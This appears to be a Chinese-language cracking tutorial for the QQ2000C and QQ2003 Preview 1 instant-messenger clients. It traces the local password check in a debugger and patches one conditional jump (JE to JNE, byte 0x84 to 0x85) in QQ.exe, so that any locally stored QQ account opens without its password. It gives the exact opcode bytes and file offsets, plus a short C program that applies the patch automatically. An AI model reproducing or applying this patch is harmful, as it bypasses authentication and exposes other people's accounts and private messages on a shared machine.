對應QQ版本:QQ2000C Build 1230b (2003.04.09)/QQ2003 PreView1 (測試通過)
使用工具:SoftIce,UE,W32Dasm
跟蹤過程:
1,在SI中斷點 bpx messageboxa 對輸錯密碼後彈出的MessageBox進行攔截.
2,第一步中當然能攔到,接著按F11看何處調用了Messageboxa,再設斷點,並用此方法一直向上找.
3,用2的方法,直到找到一個斷點,不管輸入的密碼正確與否這個斷點都能起做用,(由下向上找到的第一個這樣的斷點),在本例中是:00404F2(此時QQ開著).
...
00404EC: CALL [EDI+20]
00404EF: TEST,EAX,EAX
00404F1: POP EDI
00404F2: JZ 00404581 這是要害處,輸入密碼正確後就跳,不正確時不跳.
...
那麼對此處修改即可了.
修改:用W32DASM打開QQ.EXE,找到00404F2處,看到:
...
JE 00404581 (為什麼是JE,不是JZ了,偶也沒搞明白,菜啊~ ^_^)
...
其對應的OPCODE是: 57 20 85 C0 5F 0F 84 89
用UE打開QQ.exe查找"57 20 85 C0 5F 0F 84 89",並改為"57 20 85 C0 5F 0F 85 89",即把JE指令,改成了JNE指令,並保存.這時再打開QQ,不用輸密碼即可進入隨便一QQ了.
用任何一個編程語言做個小程序,讀取從文件頭開始處偏移處的字節,假如為0x84,則修改為0x85就可以了。
#include "stdio.h"
main()
{
FILE *fp;
printf("QQ Local Login Tools
");
printf("Crack: Wing QQ:6465660
");
printf("Code : ccrun QQ:165332
");
fp=fopen("QQ.exe","rb+");
if(!fp)
{
printf("Not Found QQ.exe!
");
exit(0);
}
fseek(fp,0x54f4,0); /*此地址針對QQ2003 Preview 1,假如是QQ1230的,則地址為0x44F3*/
if(fgetc(fp)==0x84) /* OPCode:JE */
{
fputc(0x85,fp); /* OPCode:JNE */
printf("Cracked SUCcess!
Press any key to conitnue...");
}
else
printf("QQ Version Error!
Press any key to continue...");
fclose(fp);
getch();
}
-----------------------------
破解:Wing
Mail:
[email protected]
OICQ:6465660
-----------------------------
代碼:ccrun
信箱:
[email protected]
OICQ:165332